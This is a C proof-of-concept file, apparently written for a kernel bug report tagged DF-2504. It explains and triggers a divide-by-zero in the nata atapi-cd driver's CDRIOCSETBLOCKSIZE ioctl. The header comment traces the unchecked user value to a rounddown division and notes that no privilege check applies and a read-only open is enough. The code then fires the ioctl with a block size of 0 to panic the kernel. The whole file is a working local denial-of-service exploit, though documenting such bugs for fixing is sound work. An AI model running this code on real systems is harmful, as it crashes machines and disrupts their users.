/*
 * poc_setblocksize.c -- DF-2504 trigger
 *
 * sys/dev/disk/nata/atapi-cd.c:723-726 (acd_ioctl):
 *
 *	case CDRIOCSETBLOCKSIZE:
 *	    cdp->block_size = *(int *)ap->a_data;	 <-- user int, no check
 *	    acd_set_ioparm(dev);
 *
 * acd_set_ioparm at atapi-cd.c:951:
 *
 *	cdp->cdev->si_iosize_max = rounddown(cdp->iomax, cdp->block_size);
 *
 * with rounddown(x,y) == ((x)/(y))*(y)  (sys/sys/param.h:400).
 * block_size == 0  =>  65534 / 0  =>  integer divide fault in kernel
 * context => fatal trap => panic.  No privilege check on this ioctl
 * (contrast CDIOCRESET three cases above, which does
 * caps_priv_check(SYSCAP_RESTRICTEDROOT)); O_RDONLY open suffices.
 *
 * Usage:
 *	poc_setblocksize /dev/acd0 2352   -> control: set 2352 + read back
 *	poc_setblocksize /dev/acd0        -> fatal: set 0 (panic expected)
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdrio.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

int
main(int argc, char **argv)
{
	const char *dev = (argc > 1) ? argv[1] : "/dev/acd0";
	int fd, bs;

	printf("== DF-2504 PoC ==\n");
	fflush(stdout);

	fd = open(dev, O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open(%s, O_RDONLY): %s\n", dev,
			strerror(errno));
		return (1);
	}
	printf("open(%s, O_RDONLY) = fd %d\n", dev, fd);

	if (argc > 2) {
		bs = atoi(argv[2]);
		printf("control: CDRIOCSETBLOCKSIZE(%d) ... ", bs);
		fflush(stdout);
		if (ioctl(fd, CDRIOCSETBLOCKSIZE, &bs) < 0)
			printf("errno=%s\n", strerror(errno));
		else
			printf("ok\n");
		bs = -1;
		if (ioctl(fd, CDRIOCGETBLOCKSIZE, &bs) == 0)
			printf("control: CDRIOCGETBLOCKSIZE -> %d\n", bs);
		return (0);
	}

	printf("firing CDRIOCSETBLOCKSIZE(0): atapi-cd.c:724 stores 0 into "
	       "cdp->block_size, :951 rounddown(iomax=65534, 0) divides -- "
	       "FATAL TRAP expected\n");
	fflush(stdout);
	if (ioctl(fd, CDRIOCSETBLOCKSIZE, &(int){0}) == 0)
		printf("ioctl returned success (UNEXPECTED -- no divide)\n");
	else
		printf("ioctl error: %s\n", strerror(errno));
	close(fd);
	return (0);
}
